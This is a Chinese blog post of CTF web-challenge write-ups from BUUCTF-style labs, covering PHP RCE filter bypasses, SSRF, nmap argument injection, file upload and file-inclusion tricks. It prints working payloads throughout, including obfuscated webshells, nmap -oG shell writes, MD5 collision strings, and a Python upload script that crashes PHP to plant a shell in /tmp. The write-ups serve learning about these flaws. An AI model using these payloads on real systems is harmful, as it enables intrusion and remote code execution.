当前位置: 首页 > news >正文

web刷题

[极客大挑战 2019]RCE ME

打开环境,代码逻辑还是很简单的

思路是传参code参数,一般传参shell然后用蚁剑连接看flag,但是这题做了之后就会发现思路是没错但是这题多了一些验证,这题就是无字符rce,可以考虑用取反,异或绕过,这边就用取反,按照我们上面说的直接上传code参数,做完之后会发现确实是可以连接蚁剑,但是无法执行命令,所以我们需要先用phpinfo看一下禁用的内容

看到这个disable_function,php版本是7

可以看到禁用了system,exec等一些执行函数,我们按照上面的方法去写一个shell去连接蚁剑

?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%CD%CC%A2%D6%D6);

进去看根目录

里面有一个flag文件时空的,readflag点进去看,看到前缀时elf时执行文件

所以我们要执行这个文件,这边思路就是要绕过上面看到的禁用,也是学到了有可以用蚁剑的插件去绕过disable_function

记住php版本

[De1CTF 2019]SSRF Me

进去环境代码很乱

整理出来,在pycharm查看

#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')app = Flask(__name__)secert_key = os.urandom(16)class Task:def __init__(self, action, param, sign, ip):self.action = actionself.param = paramself.sign = signself.sandbox = md5(ip)if(not os.path.exists(self.sandbox)):          os.mkdir(self.sandbox)def Exec(self):result = {}result['code'] = 500if (self.checkSign()):if "scan" in self.action:tmpfile = open("./%s/result.txt" % self.sandbox, 'w')resp = scan(self.param)if (resp == "Connection Timeout"):result['data'] = respelse:print resptmpfile.write(resp)tmpfile.close()result['code'] = 200if "read" in self.action:f = open("./%s/result.txt" % self.sandbox, 'r')result['code'] = 200result['data'] = f.read()if result['code'] == 500:result['data'] = "Action Error"else:result['code'] = 500result['msg'] = "Sign Error"return resultdef checkSign(self):if (getSign(self.action, self.param) == self.sign):return Trueelse:return False#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():param = urllib.unquote(request.args.get("param", ""))action = "scan"return getSign(action, param)@app.route('/De1ta',methods=['GET','POST'])
def challenge():action = urllib.unquote(request.cookies.get("action"))param = urllib.unquote(request.args.get("param", ""))sign = urllib.unquote(request.cookies.get("sign"))ip = request.remote_addrif(waf(param)):return "No Hacker!!!!"task = Task(action, param, sign, ip)return json.dumps(task.Exec())
@app.route('/')
def index():return open("code.txt","r").read()def scan(param):socket.setdefaulttimeout(1)try:return urllib.urlopen(param).read()[:50]except:return "Connection Timeout"def getSign(action, param):return hashlib.md5(secert_key + param + action).hexdigest()def md5(content):return hashlib.md5(content).hexdigest()def waf(param):check=param.strip().lower()if check.startswith("gopher") or check.startswith("file"):return Trueelse:return Falseif __name__ == '__main__':app.debug = Falseapp.run(host='0.0.0.0')

这题首先要做的就是代码审计,题目给了提示,flag在flag.txt文件,但是所谓目录位置不清楚,具体去看源码,可以看到有三个路由

其余都是一些自定义函数,我们一个一个看,首先是/geneSign,这个主要用于生成一个签名。从request.args中获取param,并用urllib.unquote 对url编码的字符进行解码,将action值赋值成scan,后面调用getSign处理两个参数,我们转过去看getSigh这个函数

用hashlib.md5进行加密,按照如图的顺序进行排序之后加密,我们接着找secert_key

可以看到是一个随机的16位数,接下来看第二个路由,还是先用urllib.unquote解码,只有会调用waf函数检验param,我们转过去看waf

检查是否以gopher或file开头,不区分大小写去除首尾空格,这边可以联想到这俩个协议,最后一个路由就是页面展示的页面而已。看执行函数

主要就是检验签名之后返回对应的状态码,使用checkSign函数去进行操作,我们转过来看这个函数,验证的逻辑是要action要包含scan和read

就是一个利用getSigh函数对比,这个函数上面我们就说过是拼接之后进行MD5加密,这个函数在/geneSign这个路由可以调用,我们可以用这个路由去生成签名,我们要得到这个拼接的MD5加密的字符串,明确param就是我们要读取的文件名根据题目提示也就是flag.txt,action的值已经被赋值成scan了,前面16个随机字符我们不能知道,唯一可以改的就是传参的param,所以我们要在flag.txt后面加上read这样拼接之后就可以满足action既有scan又有read,我们调用/geneSign这个路由去生成这个MD5字符串

之后抓包通过De1ta这个路由去注入

修改cookie值成上面提到的形式即可

[WUSTCTF2020]朴实无华

打开环境看源码上面也没有,其他方面也找不到什么,那就用dirsearch扫一下或者用御剑扫

得到一个文件访问一下

接着访问

显然是假的,找一下可以在网络这边看到一个文件

访问

有几层验证,传参的num提取整数部位要小于2020加一值后要大于2021,这个要用到intval的一个绕过,适用于php7以下的版本,可以去搜一下这边就不多说了,这也是应该新的知识点,第二层就是MD5的一个若比较,这个之前也碰到过的,最后一个比较特殊就是一个简单的比较然后system执行,我们可以先看一下有ls

看到了类似flag存放的文件,禁用了cat和空格,这些都是简单的rce

最后是学习intval的相关博客PHP intval()函数详解,intval()函数漏洞原理及绕过思路_intval函数-CSDN博客

[BUUCTF 2018]Online Tool 

这题也是一种新颖的体型,主要是关于escapeshellarg这个函数的绕过和nmap这个工具的命令使用,具体可以看一下这个

 https://blog.csdn.net/m0_75178803/article/details/134987976

PHP escapeshellarg()+escapeshellcmd() 之殇

这个函数的作用是把字符串转义成可以在shell命令中执行的参数,通过给字符两端增加一个单引号并可以任意引用转义单引号实现,那么我们转过来看源码,传参host参数经过escapeshellarg和escapeshellcmd处理,escapeshellcmd的作用是过滤元字符类似|&;这类的逻辑运算符号大概是这样的效果之后创建一个沙盒目录来隔离,最后有一个system执行,执行的操作是nmap扫描,扫描的模式已经设置好了,会把我们上传的host拼接在最后,这边要用到的就是nmap的-oG这个功能把文件内容保存到相应的文件内,简单来说就是要利用escapeshellarg这个函数自动添加单引号这个机制来包含我们要执行的命令,达到命令执行的效果,说起来很难理解

这样就可以执行curl命令了

?host=' <?php echo `cat /flag`;?> -oG 1.php

最后再访问这个沙盒下的文件即可

做到后面感觉还是有点一知半解的样子,总的来说这是一个新接触的知识点,之后应该侧重学习一下。

[GXYCTF2019]BabyUpload

打开环境我们上传php文件试试看

后缀不能有php那么就是图片马

还是不能有关于php的那么我们就只能往mine上面想了,所以我们抓包修改一下mine

抓包之后发现mine值已经是jpg的上传形式了,这里是卡住了一下,后面想到了可能是对php标签的禁用,那就改成script

如果单纯这样然后取消抓包那还是错的,会发现虽然现在回显是上传成功,但是没有执行源码还是jpg文件,不能达到php执行效果

所以要上传.htaccess配置文件的,利用这个文件去解析上传的shell,所以我们上传这个文件,还是要抓包修改mine image/jpeg

访问这个文件

访问图片

按理来说到这边就可以进行命令执行了,但是却没有效果

最后我们来理一下思路,这道题目有几个验证,后缀不能有ph*,mine类型不能是php的标签不能是php的,之后由于他是apache系统可以配置.htaccess还要自己配置解析上传的马,我看网上的wp也是大同小异,不过不清楚为什么我这个就是执行不出来……

[网鼎杯 2020 朱雀组]Nmap

这题看名字也知道是考nmap相关的知识点,登录页面直接搜索一下本地的ip

可以看到是执行了nmap的命令,可能是把输入的IP和已经写好的命令进行拼接,然后执行,首先这个命令是什么我们现在还不知道,但是可以确定的是肯定是可以进行命令执行的,所以我们在后面拼接一下其他命令看看能不能一起执行

尝试了一下,发现类似&|;这样的逻辑运算符都被\注释掉了,看一下源码,可以看到flag的位置

所以还是和上题一样要用到nmap的命令去查询flag,那我们还是用-oG这个命令去保存文件内容到对应文件,可是上传失败了

 应该是有一些禁用字符,经过尝试之后发现是禁用了php字样,所以对于原本的payload,我们要修改php标签、文件后缀名,最后的payload

127.0.0.1 ; ' <?script @eval($_POST["456"]);?> -oG 456.phtml'

刚刚再源码中也有看到应该list.php的文件,我们访问这个文件

 可以看到确实是上传了,我们访问一下我们上传的文件

 发现报错了,这里就不知道原因了,后面是用了网上的wp的办法,他用的也是关于nmap的命令参数-iL,这参数的作用是用于从文件读取扫描目标列表的参数,后面跟一个-o 文件,可以把搜索到的文件内容保存到文件中,之后再访问这个文件即可

127.0.0.1 ; ' -iL /flag -o 1

虽然回显说主机停机了,但是我们访问这个文件1

可以得到flag,这个文件后面要加一个单引号,原因是这个和之前那题一样也是有关于excapeshellarg()和escapeshellcmd()这两个函数的处理,这个没看源码是怎么知道的我也不清楚,从测试payload我只能知道上面提到的信息

[安洵杯 2019]easy_web

这题算是这集体里面比较有意思的一道题,算是结合了misc和web的一道趣味题

 页面就是一张图片,何以见得,看源码

 后面给了提示是关于MD5的,但是如果相信他就错了,这明显是base64转图片,但是如果单纯按照他的节奏去转图片

还是错的,那么真正的思路是看url栏里面的base64码,复制过来经过两层base64解码之后才能得到一串数字

 这时候可能会想到上面提到的MD5,但是还是错的首先MD5的字符长度一般是32位,这明显是一串16进制的字符串

我们转字符串得到一个图片名

到这里不是又回去了吗,不得不说这题的作者是会出的,我们仔细看一下一开始的url的结构,他搜索这张图片的时候是img=****&cmd=这种结构,****就是这个图片的图片名先经过一次十六进制转换,在经过两次base64加密,那么这是不是一个文件查询的通道,我们是不是可以用这个通道去查询任意文件,我们先查一下index.php(到这里是不是回想可以直接查flag啊,但是组偶到后面就会知道他查询内容把flag禁用掉了) 果然可以查到,之后进行base64解码可以得到源码

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {echo '<img src ="./ctf3.jpeg">';die("xixi~ no flag");
} else {$txt = base64_encode(file_get_contents($file));echo "<img src='data:image/gif;base64," . $txt . "'></img>";echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {echo("forbid ~");echo "<br>";
} else {if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {echo `$cmd`;} else {echo ("md5 is funny ~");}
}?>
<html>
<style>body{background:url(./bj.png)  no-repeat center center;background-size:cover;background-attachment:fixed;background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

接下来就是源码审计了,主要的部分是这部分

这边又一个系统命令执行并输出,这边又一个MD5强比较,一般遇到这个是用数组,但是这边用了一个强制转换string所以用不了,上面还有一个禁用字符 ,都是一些查询的字符,所以我们又这两个要绕过,首先是强比较,如果数组绕过用不了的话,搜索后知道可以用这两个字符串

$a = %4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
$b = %4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

其实这个就是基于鸽巢原理的MD5强碰撞而已,后面的字符禁用可以用dir,所以我们只需要post传参这个然后用dir去查列表就可以,但是这里又有问题了

MD5强比较绕不过去,之后我又去找了一组新的也用不了,我也抓包上传过也不行 就很奇怪,不过这题的思路就是这样子了,学到东西就好了。

[FBCTF2019]RCEService 

这题也是一种新的,之前听说过json但是没有具体了解过,简单来说形式是类似ssti的jijia2的一些注入的payload就会运用到json的形式,json采用键值对的形式去表达一种对象,这个和php序列化之后的字符串格式也有点像,类似这样的格式{"id": 1, "name": zlzl"}

json的作用和php序列化的作用差不多,都是为了便于传输和储存,另外json的形式也便于理解

回到题目

题目说让我们以json的形式输入命令,那我们先来查一下列表

这边要用cmd如果用command的话是被禁用的,从源码中也可以知道这个参数名是cmd

接下来如果接着查根目录的话是/被禁用了 

这边也看不到源码,index.php就是一开始的页面只能一个一个去把黑名单试出来,一开始我去试了好久,后面越想越觉得不可能,后面去看来wp才知道他应该是提供源码的

<?phpputenv('PATH=/home/rceservice/jail');if (isset($_REQUEST['cmd'])) {$json = $_REQUEST['cmd'];if (!is_string($json)) {echo 'Hacking attempt detected<br/><br/>';} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {echo 'Hacking attempt detected<br/><br/>';} else {echo 'Attempting to run command:<br/>';$cmd = json_decode($json, true)['cmd'];if ($cmd !== NULL) {system($cmd);} else {echo 'Invalid input';}echo '<br/><br/>';}
}?>

源码审计,他提供了路径修改环境变量,所以我们只能用绝对路径去查,还是要先去查列表,这边要用到preg_match这个函数的一个漏洞去绕过,这个是因为preg_match只会去匹配第一行的字符,所以这里可以用多行绕过,只需要去添加换行符即可,用url编码之后就是%0A,加上题目配置的环境变量路径payload就是

?cmd={%0A"cmd":%20"ls%20/home/rceservice"%0A}

这边还有一个点就是不能在题目提供的栏里面上传,直接在url栏里面上传,因为payload里面有url编码需要解码,而在栏里面的是post传参,接下来是去查flag,但是这边直接用cat也不行cat这个功能其实本质上也是系统里面的一个文件而已,上面说到了由于配置了环境变量,所以都要用绝对路径,这个去查一下也知道在哪

{%0A"cmd": "/bin/cat /home/rceservice/flag"%0A}

 [HITCON 2017]SSRFme

这题会给出计算机的ip就没截图了,他页面直接给了源码出来

<?phpif (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];}echo $_SERVER["REMOTE_ADDR"];$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);@mkdir($sandbox);@chdir($sandbox);$data = shell_exec("GET " . escapeshellarg($_GET["url"]));$info = pathinfo($_GET["filename"]);$dir  = str_replace(".", "", basename($info["dirname"]));@mkdir($dir);@chdir($dir);@file_put_contents(basename($info["basename"]), $data);highlight_file(__FILE__);

源码审计,这段代码用到了沙箱目录,重要的是这个系统命令执行

$data = shell_exec("GET " . escapeshellarg($_GET["url"]));

 data参数后面会拼接我们传参的参数,虽然家里个函数改变,但是还是能够进行命令执行

$dir  = str_replace(".", "", basename($info["dirname"]));

这个算是防止目录历遍的代码,只移除了.号但是我们可以用/去进行目录历遍,第一段函数是使用我们的X-Forwarded-For头获取我们的ip并输出出来,我们用get传参的参数是filename和url,先用这个进行目录历遍,沙箱的目录名称我们也知道,就是sandbox/orange和ip进行MD5加密的结果,我们先搞一下这个,这边就不截图了,之后用/进行目录历遍到根目录,利用沙箱去创建一个文件,之后通过这个代码

file_put_contents(basename($info["basename"]), $data);

会把命令执行的结果放入文件中,所以我们就可以通过这来进行查询或者上传shell

?url=/&filename=123

先创建一个文件123,之后访问

现在这个目录其实就是我们创建的文件目录,可以看到类似flag的文件,为什么是这样的结果呢,url其实就是执行的bash命令,我们的命令其实就是目录历遍而已

我们现在用ssrf为协议去写马

url=data://text/plain,<?php eval($_POST[456]);?>&filename=456.php

至于为什么要用为协议,这个协议是用于直接传递php代码的,我们访问这个文件

可以访问说明成功了,接着用蚁剑连接后去终端执行readflag即可

[NPUCTF2020]ezinclude

打开页面看源码会有提示

但是对应的变量的值也都不知道,这时候重新请求一下去看一下请求头和响应头 

给了hash值,我们传参一个name值,发现hash值是变化的,所以我们可以传参name值来改变hash,但是按照提示又不止这样子,secret值我们不知道,我觉得也可以用复制,但是如果我们直接赋值pass参数的值为下面出现的hash值不就可以通过验证了吗,抓包修改

 得到一个新的文件,访问

结果是这样,看网络的状态码是200说明是可以的,我们接着抓包看信息

可以看到下面有一个文件包含漏洞,我们利用php伪协议 查一下

flflflflag.php?file=php://filter/read=convert.base64-encode/resource=flflflflag.php

还是抓包看,可以看到base64编码

解码可以看到源码

<html>
<head>
<script language="javascript" type="text/javascript">window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
</head>
<>
<body>
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
</body>
</html>

到这里又没什么思路了,dirsearch扫一下,扫不出来用御剑也扫不出来,看wp别人都扫的出来,反正扫出来结果是dir.php,访问

没什么东西还是用php伪协议 

用scandir()读取tmo目录并用var_dump以数组形式输出出来也就是我们刚刚看到的那样子,到这里又碰到了一个新的东西,在上面的响应可以看到版本是php7.0.33,这个版本可以用php://filter/string.strip_tags导致php崩溃重启,如果同时上传一个文件,这个文件 就会留在tmp这个目录里面

?file=php://filter/string.strip_tags/resource=/etc/passwd
import requests
##BytesIO实现了在内存中读写bytes
from io import BytesIO
import re
payload = "<?php eval($_POST[456]);?>"
#BytesIO(payload.encode()).getvalue()
data={'file': BytesIO(payload.encode())
}
url="http://b03a043d-9610-4b96-b5ac-e0163780527d.node5.buuoj.cn:81/?file=php://filter/string.strip_tags/resource=/etc/passwd"
try:r=requests.post(url=url,files=data,allow_redirects=False)
except:print("fail!")

使用脚本之后访问dir.php

可以看到确实传进去了 ,文件名也出来了,接着就是蚁剑连接,然后和上面一样用插件绕过disable_function即可

[WUSTCTF2020]CV Maker

打开一看还挺花的一时间不知道要往哪方面去尝试,一看题目去搜索感觉也不是漏洞的类型而是这个网站的用途就是用来招聘的。是一个注册系统那就试试看 

进去之后这边会有报错一开始还以为是sql报错注入 

但是尝试注入之后发现不是,我们用注册的账号登录进来 

有一个文件上传,考虑是文件上传漏洞 ,尝试上传php文件

又文件格式的限制,传一个图片码 

 上传成功,接着就是继续去找线索,最后在源码中找到了上传的路径

不知道有没有执行,但是我们可以访问看看 

可以访问,我们用蚁剑连接,也连不上,那估计还是没有执行需要配置文件,但是这边不论我上传htaccess还是ini都传不上去,看来是只能传图片类的,后面我尝试抓包去改,但是发现他只对文件头有验证

结果放开抓包之后回去的页面是没有上传成功,我在抓包界面把上传的地址复制过来访问也访问不进去,这就很奇怪了,去看了wp,别人都是在蚁剑访问就成功了的,真是怀疑蚁剑出问题了。

[HarekazeCTF2019]encode_and_encode

打开看源码进行代码审计

代码看着很多还挺唬人,但其实理解逻辑也不难理解,我们一个一个看 

 这个函数是防止目录历遍的禁用了..,之后又禁用了一系列流包装器,一些类似的为协议都用不了,后面又禁用了flag字符

 读取的post传参的内容解析为json格式,所以我们的payload要用接送的格式写入

 使用上面的定义函数,验证通过的话根据payload内容读取文件,最后是一个替换。

理一下思路主要就是两层绕过,流包装器和json格式,我们还是用php伪协议去读取,绕过第一层可以加Unicode或者url编码,后面再编写成json格式

php://filter/convert.base64-encode/resource=/flag

\u0070\u0068\u0070\u003a\u002f\u002f\u0066\u0069\u006c\u0074\u0065\u0072\u002f\u0063\u006f\u006e\u0076\u0065\u0072\u0074\u002e\u0062\u0061\u0073\u0065\u0036\u0034\u002d\u0065\u006e\u0063\u006f\u0064\u0065\u002f\u0072\u0065\u0073\u006f\u0075\u0072\u0063\u0065\u003d\u002f\u0066\u006c\u0061\u0067

 写成json格式

{"page":"\u0070\u0068\u0070\u003a\u002f\u002f\u0066\u0069\u006c\u0074\u0065\u0072\u002f\u0063\u006f\u006e\u0076\u0065\u0072\u0074\u002e\u0062\u0061\u0073\u0065\u0036\u0034\u002d\u0065\u006e\u0063\u006f\u0064\u0065\u002f\u0072\u0065\u0073\u006f\u0075\u0072\u0063\u0065\u003d\u002f\u0066\u006c\u0061\u0067"}

抓包发送post请求

解码即可

[网鼎杯 2020 半决赛]AliceWebsite 

打开环境找了半天找不到什么思路,也用dirsearch骚了一下 也没什么东西,原来是给了附件,里面有源码,审计一下主要就是这段代码

 有include包含,传参action参数,一开始想用php为协议读的但是不知道flag位置一直读不到

后面也想过去传后门,毕竟这个有include可以进行命令执行,但是也执行不了,按理来说应该是可以的,知道我尝试读index.php这个文件发现也读不了我就i知道我上当了

我尝试读计算机passwd 

本地文件都能读,那就是目录层级的问题而已去尝试,结果flag就在根目录

给我无语住了,所以做题目要有整体的思维不能一看到一个简单的代码就抓着不放

[Zer0pts2020]Can you guess it? 

打开环境根据提示我们随意输入,发现都是错的,看了源码也没什么东西,上面与一个source,点进去可以看到源码

代码审计 

这里说了flag的位置,但是我们不能直接访问这个文件,$_SERVER['PHP_SELF']这个函数会获取当前执行搅拌的相对路径,比如说http://188fa652-b89c-457b-9a21-00c5ec34831a.node5.buuoj.cn:81/index.php?source=123

执行函数之后会得到index.phphttp://188fa652-b89c-457b-9a21-00c5ec34831a.node5.buuoj.cn:81/www/index.php?source=123

执行函数之后则会得到www/index.php

接着往下看

 这边就是对guess参数的一个加密和验证,首先guess的值是随机的64位而且还经过一层加密,我们通过去爆破这个显然是不科学的,题目明确和我们说了flag的位置,所以我们要用basename函数的这个性质去传参带有config.php的参数,所以就要用到这样一个绕过,首先他匹配验证是我们访问的文件的最后一个是不是config.php,所以这边不能用换行去绕过,因为他最后一个还是这个字符串,要用到%ff这个翻译过来是url编码中的不可见字符使用这个可以绕过验证

index.php/config.php/%ff?source

[b01lers2020]Welcome to Earth 

进入环境看一下源码可以得到这个页面

把die删掉,看源码可以看到一个文件

访问这个文件,一访问就会跳回原界面,所以我们用抓包查看

又发现一个文件,接着访问 接着访问shoot

 接着访问door

有一个js文件,访问看看 接着访问open

又有一个js文件,接着访问 

访问fight 还是访问js文件

 终于到头了,最后是一个解密,flag被打乱了,要写一个脚本解密,加密逻辑就是通过把flag分成一个数组若干个量,通过下角标打乱而已,其中就是对于key的处理,就是没学过js代码可能看起来有点吃力,但是一些还是和php相互类似的,所以一些处理还是比较模糊一点,比如说我要确定key的值是什么,就很难确定,如果给我一个正确的flag,倒是可以逆向推到key值,但是现在显然没办法,我们现在已知的是他的开头应该是pctf,我想了半天不知道怎么写这个解密脚本

但其实他这个都是有顺序的我们直接去拼倒也可以拼出来,多尝试几次就出来了

后面我去网上找了别人的脚本

from itertools import permutationsflag = ["{hey", "_boy", "aaaa", "s_im", "ck!}", "_baa", "aaaa", "pctf"]item = permutations(flag)
for i in item:k = ''.join(list(i))if k.startswith('pctf{hey_boys') and k[-1] == '}':print(k)

他这个就是按照我们上面说到的已知条件去爆破而已,开头结尾都是知道的,他把所以可能都给列出来了,然后一个一个去尝试而已,也没有说一下得到答案

http://www.lryc.cn/news/601937.html

相关文章:

  • 每日算法刷题Day55:7.27:leetcode 复习完第K小/大+栈4道题,用时1h50min
  • OpenCv中的 KNN 算法实现手写数字的识别
  • 如何解决pip安装报错ModuleNotFoundError: No module named ‘ipywidgets’问题
  • 《 集成异步任务与定时调度:线程池与任务中心设计》
  • 特殊成员函数的生成规则:Effective Modern C++条款17解析
  • ES6模块详解:核心语法与最佳实践
  • 蛋白质反向折叠模型-ProteinMPNN安装教程
  • 【通识】设计模式
  • 设计模式(七)结构型:适配器模式详解
  • KNN算法实现图片的识别
  • 《频率之光:群星之我》
  • LINUX727 磁盘管理回顾1;配置文件回顾
  • 黑马程序员C++核心编程笔记--类和对象--运算符重载
  • 2116. 判断一个括号字符串是否有效
  • AI技术革命:产业重塑与未来工作范式转型。
  • 2025第15届上海生物发酵展将于8月7号启幕
  • Python训练Day25
  • 入侵检测介绍
  • Linux之shell脚本篇(三)
  • 51核和ARM核单片机OTA实战解析(二)
  • 自然语言处理NLP (1)
  • Java 集合进阶:从 Collection 接口到迭代器的实战指南
  • 基于多智能体的任务管理系统架构设计与实现
  • 【DataWhale】快乐学习大模型 | 202507,Task08笔记
  • 卷积神经网络研讨
  • 墨者:SQL注入漏洞测试(布尔盲注)
  • 零基础,如何入手学习SAP?
  • Ashampoo Background Remover(照片去背景工具) v2.0.2 免费版
  • WSL切换网络模式
  • 持续优化Cypress自动化测试